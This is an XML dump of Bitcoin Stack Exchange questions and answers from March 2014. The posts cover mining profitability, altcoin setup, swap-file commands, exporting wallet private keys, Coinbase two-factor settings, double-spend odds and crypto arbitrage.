  <row Id="23834" PostTypeId="2" ParentId="19734" CreationDate="2014-03-22T01:38:03.023" Score="2" Body="&lt;p&gt;Set the date in the import file to the date the key was created (date and time are in UTC, not local time).  Then do Tools -&gt; Reset block chain and transactions.  This will cause MultiBit to rescan the block chain from the earliest key creation time.  It should then show your transactions.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-03-22T01:38:03.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23835" PostTypeId="1" CreationDate="2014-03-22T01:43:57.947" Score="1" ViewCount="61" Body="&lt;p&gt;So I'm working on an altcoin for me and my friends to use.  None of them are familiar with mining.  If my computer is the only one mining, how much would that affect the economy?  Also, how many transactions are needed for a block?  If only 1 transaction per day is made, would the miner just not have any work?  I forgot to mention the block reward is 10 coins.&lt;/p&gt;&#xA;" OwnerUserId="14688" LastActivityDate="2014-03-22T02:52:29.090" Title="Small altcoin usage effects" Tags="|bitcoin-economy|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23838" PostTypeId="2" ParentId="23835" CreationDate="2014-03-22T02:52:29.090" Score="1" Body="&lt;p&gt;Blocks can still be found by miners even if there are no (other) transactions. The reason for this is each block must contain a &lt;em&gt;coinbase transaction&lt;/em&gt;, which rewards the miner with 10 coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The above is assuming that your coin is sufficiently similar to something like Bitcoin or Litecoin. An altcoin you create could have completely different rules.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how your mining could affect the economy, well obviously you would be the one ending up holding all the coins. If you're giving them to your friends to then trade, no problem. A few friends is of course not a very large economy.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-22T02:52:29.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23839" PostTypeId="1" CreationDate="2014-03-22T03:28:03.757" Score="-2" ViewCount="322" Body="&lt;p&gt;I have a strong GPU, CPU, and enough RAM to choke a goat. I have installed BitCoin Core 64, and my wallet is (finally) synced. What do I do to start mining. Do I just leave the program running or do I have to join a pool like Slush's Pool?&lt;/p&gt;&#xA;" OwnerUserId="14740" LastActivityDate="2014-03-22T06:20:18.550" Title="How to start mining Bitcoin" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="1" ClosedDate="2014-03-25T00:43:38.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="23841" PostTypeId="2" ParentId="23839" CreationDate="2014-03-22T04:52:53.743" Score="2" Body="&lt;p&gt;You don't stand a chance. No matter how strong your computer is, you will not make more than a few cents (USD) a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few scrypt-based altcoins (e.g. Litecoin) that may still be barely profitable.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-22T04:52:53.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23842" PostTypeId="2" ParentId="23839" CreationDate="2014-03-22T06:20:18.550" Score="0" Body="&lt;p&gt;Litecoin and other scrypt based coins are fair game with a GPU until the scrypt ASICs start coming out. It's hard to tell exactly how long it will be until one comes out but it shouldn't discourage you from starting to mine, given the delivery time it took BFL and other SHA-256 ASICs to deliver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even once that happens, you still have multi-algorithm coins such as quark which can be GPU mined with this software: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=475795.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=475795.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at Yacoin and Ybcoin too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with all this, there are still some coins which are not easy to GPU mine at all, such as Primecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there is a progression, as a coin gets more popular people will start to develop software and hardware to mine it quicker. But if you mine at the right time you can get a sizable amount of coins before ASICs push up the difficulty (and price).&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-22T06:20:18.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23843" PostTypeId="2" ParentId="8011" CreationDate="2014-03-22T06:26:21.883" Score="0" Body="&lt;p&gt;Indeed, adding more swap will keep your coin from having a panic shutdown. Here's how to add swap on Ubuntu 12.04.4 (tested) and likely other versions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo dd if=/dev/zero of=/swapfile bs=64M count=16; sudo mkswap /swapfile; sudo swapon /swapfile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command will create 16 64MB blocks of swap, totalling 1GB of extra swap, which should be plenty if you're just running bitcoind. If you are running multiple coins I would have at least 2GB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo dd if=/dev/zero of=/swapfile bs=64M count=32; sudo mkswap /swapfile; sudo swapon /swapfile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-22T06:26:21.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23845" PostTypeId="1" CreationDate="2014-03-22T07:02:50.810" Score="2" ViewCount="39" Body="&lt;p&gt;E.g. &lt;a href=&quot;http://www.reddit.com/r/Digibyte/comments/1zjeso/eli5_what_is_digishield/&quot; rel=&quot;nofollow&quot;&gt;Digishield&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21730/how-does-the-kimoto-gravity-well-regulate-difficulty&quot;&gt;Gravity Well&lt;/a&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a non-miner, I only hear bits and pieces about these algorithms. Is there a comprehensive resource with details on the history of these algorithsm and relative performance and weaknesses?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:42:44.063" LastActivityDate="2016-03-16T07:42:44.063" Title="Is there an up-to-date professional analysis of different &quot;mining shield&quot; technologies?" Tags="|difficulty|hashpower|mining-technical-details|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23846" PostTypeId="1" AcceptedAnswerId="23928" CreationDate="2014-03-22T09:46:15.700" Score="2" ViewCount="580" Body="&lt;p&gt;There's been a lot of talk about governments banning Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theoretical terms, this is possible but, how could a government effectively ban bitcoin through technological means? Are there packet filtering techniques which a government could impose on ISP's? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, could private networks such as universities or businesses filter and block bitcoin traffic?&lt;/p&gt;&#xA;" OwnerUserId="10278" LastActivityDate="2014-03-24T14:20:28.827" Title="Banning Bitcoin through packet filtering" Tags="|politics|packets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23848" PostTypeId="1" AcceptedAnswerId="23859" CreationDate="2014-03-22T12:06:04.323" Score="5" ViewCount="197" Body="&lt;p&gt;I was just looking through the Bitcoin code but since I am relatively new to C++ I was wondering, if anybody could tell me where the code responsible for sending coins generated through mining to the wallet is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14745" LastEditorUserId="5406" LastEditDate="2016-04-17T18:55:19.290" LastActivityDate="2016-04-17T18:55:19.290" Title="Where is the code that sends generated Bitcoins from mining to the wallet?" Tags="|mining-reward|bitcoin-core-development|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23849" PostTypeId="2" ParentId="2371" CreationDate="2014-03-22T12:29:07.913" Score="1" Body="&lt;p&gt;you're using api2.bitcoincz.com:8332 but that's not listed on the pool's site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run your own GPU/FPGA/ASIC miner with the worker credentials you gave earlier, and connect it to following URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.bitcoin.cz:8332&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoin.cz:8332&lt;/a&gt;&#xA;(Main pool URL) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&#xA;stratum.bitcoin.cz:3333&#xA;(If you have Stratum-compatible miner)&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2014-03-22T12:29:07.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23850" PostTypeId="1" AcceptedAnswerId="23890" CreationDate="2014-03-22T13:34:39.317" Score="0" ViewCount="107" Body="&lt;p&gt;Let's say I am about to set my Grandmother up with a wallet. I have no idea what she has on her computer. There could be a host of malware, keyloggers etc. Let's also say that a complete wipe and reinstall is not an option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of what steps I could use to give the maximum protection.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I could use CCleaner to wipe any temporary files. This will remove any excess past data she has generated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I could then use a program spybot search and destroy to check for any malware. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What else could I do to check if there are any threats on the computer?   &lt;/p&gt;&#xA;" OwnerUserId="14747" LastEditorUserId="14747" LastEditDate="2014-03-23T10:15:37.920" LastActivityDate="2014-03-23T17:52:07.333" Title="What are the methods for getting an old, used windows P.C. ready for secure Bitcoin usage?" Tags="|security|windows|virus|malware|" AnswerCount="1" CommentCount="4" ClosedDate="2014-03-24T06:12:12.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="23851" PostTypeId="2" ParentId="8791" CreationDate="2014-03-22T13:41:49.247" Score="1" Body="&lt;p&gt;I’m a newbie, so get out your grain of salt, but here’s what I think:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both sides are on “the” Internet, then either can read the other’s blockchain.  And therefore either could reject a spend that has already happened on the other.  If BTC1 knows that BTC2 is doing so, it would be foolish for BTC1 to not do the same.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would also be possible (with software changes) for a spend made in one chain to automatically remove those coins from existence in the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, since no government is involved in maintaining the chain, the only way such a fork could happen would be for one of the sides to block any packets related to BTC, right?  And with today’s encryption methods, VPNs, and things like TOR, the only practical way of doing that would be to block ALL Internet packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you live on side two, the only way to spend on side one would be to travel to there (in this scenario, probably a dangerous thing to do).&lt;/p&gt;&#xA;" OwnerUserId="14084" LastActivityDate="2014-03-22T13:41:49.247" CommentCount="0" CommunityOwnedDate="2014-03-22T13:41:49.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="23852" PostTypeId="1" CreationDate="2014-03-22T13:53:12.320" Score="0" ViewCount="77" Body="&lt;p&gt;I have one wallet on Coinbase.  They say that I enabled 2FA on it and that if an attacker somehow accessed my account, they would not be able to spend because they would not be able to enter the code sent to my phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have made made two purchases, one spend, and many logins without ever receiving such a code or being asked to enter it.  When I said that, the Coinbase person claimed to not know either and gave me a URI to consult.  Unfortunately, I forgot to copy the URI before closing the chat window.&lt;/p&gt;&#xA;" OwnerUserId="14084" LastActivityDate="2014-03-22T18:38:26.843" Title="Is my 2FA not working, or do I not understand it?" Tags="|two-factor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23855" PostTypeId="1" AcceptedAnswerId="23874" CreationDate="2014-03-22T16:10:15.417" Score="-2" ViewCount="64" Body="&lt;p&gt;I have a web wallet that meets all or most of the requirements recommended by Colin Dean at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12158/an-online-wallet-service-could-lose-my-bitcoins&quot;&gt;An online wallet service could &amp;quot;lose&amp;quot; my bitcoins?&lt;/a&gt;  Unless they’re lying or I’m misunderstanding, both of which are always possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming neither happened, a cracker or employee might take control, and then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I don’t have a backup, I will have lost my coins, but the bad guy can’t spend them.  True or false?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have a backup, I will have lost nothing, though the weird format of the backup might mean it takes a bit of time/effort to recover.  True or false?&lt;/p&gt;&#xA;" OwnerUserId="14084" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-03-23T03:13:54.357" Title="I can lose coins but they can’t be spent? Is that what they are saying?" Tags="|lost-transactions|" AnswerCount="2" CommentCount="4" ClosedDate="2014-05-06T21:38:51.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="23858" PostTypeId="2" ParentId="23855" CreationDate="2014-03-22T16:41:28.163" Score="0" Body="&lt;p&gt;If you have a backup but a cracker gains access to the online wallet then both of you (yourself and the cracker) can spend the bitcoins. If you spend them before the cracker does you are safe, if the cracker spends them first you have lost them.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2014-03-22T16:41:28.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23859" PostTypeId="2" ParentId="23848" CreationDate="2014-03-22T17:15:48.183" Score="2" Body="&lt;p&gt;Each new block starts with a &quot;coinbase&quot; transaction, which specifies the generated coins for the block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code at the top of CreateNewBlock in main.cpp adds the coinbase tx to the new block, and later on calls GetBlockValue to determine the number of generated coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coinbase transaction uses the scriptPubKey parameter of CreateNewBlock to specify the recipient of the generated coins. &lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-03-22T17:15:48.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23860" PostTypeId="2" ParentId="17088" CreationDate="2014-03-22T18:31:49.707" Score="0" Body="&lt;p&gt;If all else fails you can export your private keys and import them into a different wallet, like Electrum.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get your private keys out of bitcoin-qt, click Help, Debug Window, Console tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your wallet is encrypted, you must unlock the wallet with this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   walletpassphrase &quot;your wallet password&quot; 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the private key: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   dumpprivkey &quot;addressYouOwn&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-03-22T18:31:49.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23861" PostTypeId="1" CreationDate="2014-03-22T18:37:20.313" Score="1" ViewCount="272" Body="&lt;p&gt;I'm messing around with bitcoins a bit, and I'm now looking at the confirmations. In several places I read that 6 is the &quot;normal&quot; figure of confirmations needed to say a transactions has actually and irreversibly occurred. I also read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1170/why-is-6-the-number-of-confirms-that-is-considered-secure&quot;&gt;this excellent Q&lt;/a&gt;, which explains a lot more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still wonder about one thing though: in the case of bad intentions, how big is the chance of double spending in the case of 0, 1, 2, 3, 4, 5 and 6 confirmations expressed in percentages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm after a little table which should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;confirmations | chance of double spending (all figures are made up)&#xA;-----------------------------------------&#xA;0             | 10%&#xA;1             | 4%&#xA;2             | 1%&#xA;3             | 0.5%&#xA;4             | 0.2%&#xA;5             | 0.05%&#xA;6             | 0.001%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2014-03-22T18:37:20.313" Title="How big is the chance of double spending for 0, 1, 2, 3, 4, 5 and 6 confirmations?" Tags="|confirmations|doublespend|zero-confirmation|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23862" PostTypeId="2" ParentId="23852" CreationDate="2014-03-22T18:38:26.843" Score="2" Body="&lt;p&gt;Go to Account Settings, Security.&lt;br&gt;&#xA;The default is to ask for 2FA only over $100/day.&lt;br&gt;&#xA;Change it to ask every time.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-03-22T18:38:26.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23863" PostTypeId="1" CreationDate="2014-03-22T20:21:31.620" Score="1" ViewCount="387" Body="&lt;p&gt;My understanding is that Coinbase and Bitpay process payments made in BTC.  They receive BTC from a buyer (for example someone buying patio furniture) and send USD to merchants who don't want to keep bitcoin (for example Overstock.com).  In order to get the USD to send to the merchant these companies must be constantly selling BTC on an exchange and thereby devaluing bitcoin.  Is my logic correct?  &lt;/p&gt;&#xA;" OwnerUserId="12311" LastActivityDate="2014-08-31T18:35:45.597" Title="Do payment processors who convert bitcoin to dollars (like Coinbase and Bitpay) devalue bitcoin?" Tags="|exchange-rate|coinbase.com|bitpay|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23864" PostTypeId="1" CreationDate="2014-03-22T21:32:21.330" Score="1" ViewCount="1414" Body="&lt;pre&gt;&lt;code&gt;&quot;addr&quot;:              &quot;typicalbitcoinaddress&quot;, &#xA;&quot;compressed&quot;:        true, &#xA;&quot;encrypted_privkey&quot;: &quot;this  is my private key that is 96 characters long&quot;, &#xA;&quot;label&quot;:             &quot;Wallet&quot;, &#xA;&quot;pubkey&quot;:            &quot;Public key of the address&quot;,&#xA;&quot;salt&quot;:              &quot;random small set of digits not sure what this is&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dont know how to convert my private key that is under &quot;encrypted_privkey&quot; (96 characters long) (Not sure what it is encrypted to) to a Wallet Import Format like to import it into blockchain.info....Any help on the process to convert this to a WIF private key would be greatly appreciated, I am unable to provide the private key of course...&lt;/p&gt;&#xA;" OwnerUserId="14755" LastEditorUserId="1307" LastEditDate="2014-03-24T14:47:47.817" LastActivityDate="2022-08-23T14:07:19.980" Title="How do I get my encrypted private key converted?" Tags="|encryption|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23865" PostTypeId="1" CreationDate="2014-03-22T22:18:16.970" Score="3" ViewCount="7620" Body="&lt;h1&gt;Case #1: Trade coins after an arbitrage opportunity appears.&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Buy Coin B with Coin A at a low price.&lt;/li&gt;&#xA;&lt;li&gt;Move Coin B to the buyer's market.&lt;/li&gt;&#xA;&lt;li&gt;Sell Coin B for Coin A at a higher price.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, transaction fees, withdrawal fees, the time withdrawals take, and the presence of other arbitrage bots ruin its success. I've monitored the market for opportunities and tested this case, and so far I've only found the impracticality of it: stuck-withdrawals, opportunities that disappear, transaction minimums and fees, etc...&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Case #2: Hold 50/50 coins and instantly trade them.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This case puzzles me. It is simply not practical. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There are over one hundred alt-coins of which one would have to have funds.&lt;/li&gt;&#xA;&lt;li&gt;Apart from the alt-coin opportunity funds, one would need a proportional amount of LTC &amp;amp; BTC.&lt;/li&gt;&#xA;&lt;li&gt;Most (if not all) of the alt-coins' value is volatile. It makes no sense to steadily hold funds in those &quot;currencies&quot;. Whatever small gains acquired by arbitrage would soon dilute.&lt;/li&gt;&#xA;&lt;li&gt;If one had the hundreds of alt-coins required, and some (mysterious) way to manage their volatility. The size of the arbitrage opportunities available wouldn't match the ROI a traditional investment offers.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit 1:&lt;/em&gt; Nitpicking the issue, it &lt;em&gt;is&lt;/em&gt; possible to perform arbitrage on counted occasions. But I'm referring to the fact that #1 is not instant, and it's riskier and possibly not profitable. And case #2 is flawed in the sense that is not straightforward to hold (and increase) value in a portfolio of crypto-currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen some &quot;professional&quot; crypto-coin arbitrage services, but they look more like scams than anything else. Is there any truth to crypto-coin arbitrage? Is there a case #3, 4, 5, ..., n?&lt;/p&gt;&#xA;" OwnerUserId="14633" LastEditorUserId="14633" LastEditDate="2014-03-23T11:37:42.483" LastActivityDate="2014-11-16T07:43:35.557" Title="Is instant profitable arbitrage impossible?" Tags="|exchanges|trading|arbitrage|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23866" PostTypeId="1" CreationDate="2014-03-22T22:19:00.223" Score="2" ViewCount="1144" Body="&lt;p&gt;I have done the instructions listed here:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11367/how-to-move-bitcoin-data-from-application-support-on-external-drive-mac&quot;&gt;How to move Bitcoin data from Application Support on an external drive [Mac]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine for a flash drive connected the mac, but I wanted to have the data read from my network storage device (ReadyNAS). Bitcoin-qt comes up with the following error when I link it to the NAS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXCEPTION: N5boost12interprocess22interprocess_exceptionE       &#xA;Operation not supported       &#xA;bitcoin in Runaway exception &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what this could be?&lt;/p&gt;&#xA;" OwnerUserId="14744" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-07-21T19:13:32.600" Title="Bitcoin-qt data on external drive" Tags="|bitcoin-core|backup|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23867" PostTypeId="2" ParentId="23866" CreationDate="2014-03-22T23:40:31.693" Score="0" Body="&lt;p&gt;I quite literally just had the same problem.&#xA;Downloaded 0.90 on Mavericks, connected to my FreeNAS box in Finder, made a directory to hold the block chain, told Bitcoin-QT to save the block chain there in the dialog and got the same message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fatal error occurred. Bitcoin can no longer continue safely and will quit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXCEPTION: N5boost12interprocess22interprocess_exceptionE&lt;br&gt;&#xA;Operation not supported&lt;br&gt;&#xA;bitcoin in Runaway exception&lt;/p&gt;&#xA;" OwnerUserId="14757" LastActivityDate="2014-03-22T23:40:31.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23868" PostTypeId="2" ParentId="13161" CreationDate="2014-03-23T01:06:53.427" Score="1" Body="&lt;p&gt;It took ages for me to mine bitcoins because of enormous competent people mining with excellent machines. You better get a Mining hardware to make your time worth since you will eventually end up paying your internet and electricity bills.&lt;/p&gt;&#xA;" OwnerUserId="14759" LastActivityDate="2014-03-23T01:06:53.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23870" PostTypeId="2" ParentId="23863" CreationDate="2014-03-23T01:26:06.390" Score="1" Body="&lt;p&gt;Yes, of course they must be continuously selling BTC in the markets. But I seriously question they'd inflict a serious devaluation to Bitcoin as a whole:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Bitcoin markets are usually very big - millions of dollars in BTC exchange hands daily. Unless the amount these companies sell approximates a significant fraction of the total daily traded volume (say, 10-20%) the effect they'll have on prices will be negligible.&lt;/li&gt;&#xA;&lt;li&gt;Even in such a case, it'd be a poor trading strategy to just dump all the BTCs they receive right away at whatever price the market is willing to pay for at that particular time. Most probably they have reserves in fiat to pay from, and place several orders at various prices in different markets (this is what multipools like middlecoin do) and surely they'll try to hedge their BTC holdings to protect themselves (or even profit) from sudden increases/decreases in their value versus fiat.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is several different things to several people. Some see it as the currency of the future, others look at it just as an international transfers and payment system, a semi-anonymos, cheap and efficient one but no more. By providing a valuable service that the market wanted, these companies give promotion and respectability to Bitcoin, thereby appreciating it a bit.&lt;/li&gt;&#xA;&lt;li&gt;To buy something with Bitcoin, you first need to get them somehow, right? So in the long run the amount of BTC bought with the intention to pay for such goods should aproximate the amount these companies are selling in exchange for fiat.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-23T01:26:06.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23871" PostTypeId="1" CreationDate="2014-03-23T01:33:18.413" Score="0" ViewCount="112" Body="&lt;p&gt;I was just looking through the Bitcoin code but since I am relatively new to C++ I was wondering, if anybody could tell me where the code responsible for receiving blocks that have just been mined by someone else is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that when a miner successfully solves a block, it is broadcasted to the entire system. What I am looking for is the code responsible for how that broadcast is intercepted by other nodes if that makes more sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14745" LastEditorUserId="5406" LastEditDate="2016-04-25T19:32:54.947" LastActivityDate="2016-04-25T19:32:54.947" Title="Where is the code that receives blocks that miners have just solved" Tags="|client|block|bitcoin-core-development|relay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23872" PostTypeId="1" CreationDate="2014-03-23T01:36:14.367" Score="2" ViewCount="1268" Body="&lt;p&gt;I'm playing around with a couple of Antminer U2s, and two Block Erupters, running them off of a vanilla BFG setup using BTCGuild, I'm consistently seeing the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SnXQ5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm curious as to why one of my miners (always a single AMU) always has such a higher Accept and Utility statistic than the other devices.&lt;/p&gt;&#xA;" OwnerUserId="14760" LastEditorUserId="2306" LastEditDate="2017-07-23T03:23:01.607" LastActivityDate="2017-07-23T03:23:01.607" Title="Why is the accept / utility of one of my miners consistently higher than the others?" Tags="|mining-hardware|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23873" PostTypeId="1" AcceptedAnswerId="23887" CreationDate="2014-03-23T01:53:59.147" Score="1" ViewCount="296" Body="&lt;p&gt;I'm playing around with a few USB miners, and am running 4 of them for a total of 4.6 GH/s.  My BTCGuild dashboard estimation is all over the place, sometimes 1 GH/s, sometimes as high as 3.8 GH/s.  Overtime I expect it to converge to some value, but that hasn't seemed to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my understanding that this number is just an estimation and will be affected by stale/duplicate shares my machine submits, but how stable should this estimation be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the volatility of this estimate a product of the PPLNS scheme or could there be something strange with my setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does my difficulty setting with the pool factor into this?&lt;/p&gt;&#xA;" OwnerUserId="14760" LastActivityDate="2014-03-23T09:27:21.743" Title="How accurate should pool estimation of hashing speed be?" Tags="|hash|bfgminer|mining-pools|btcguild|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23874" PostTypeId="2" ParentId="23855" CreationDate="2014-03-23T02:54:32.800" Score="0" Body="&lt;p&gt;I think I understand your question.  Let me try to answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the online wallet operator stores only an encrypted version of your private keys&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;key decryption and transaction signing is done on the client side, without giving the operator access to your unencrypted keys at any time&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you have a strong passphrase on your private keys&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the client-side software is correctly implemented and not compromised&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then an attacker or dishonest employee who gains access to the operator's data will not be able to spend your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They could conceivably delete the operator's copy of your encrypted keys.  If you have a backup, this won't really bother you, since you can decrypt the keys and use them to spend the coins yourself.  If you don't have a backup, then the coins may be permanently lost: neither you, the attacker, nor anyone else would ever be able to spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They could also &lt;em&gt;threaten&lt;/em&gt; to delete them, or demand ransom to return the encrypted keys to you.  Again, if you have a backup, you can ignore their demands.  If you don't, then they have you over a barrel, and you might be motivated to pay them a sizeable fraction of the value of your coins to get the encrypted keys back, because otherwise those coins would be lost to you.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-03-23T02:54:32.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
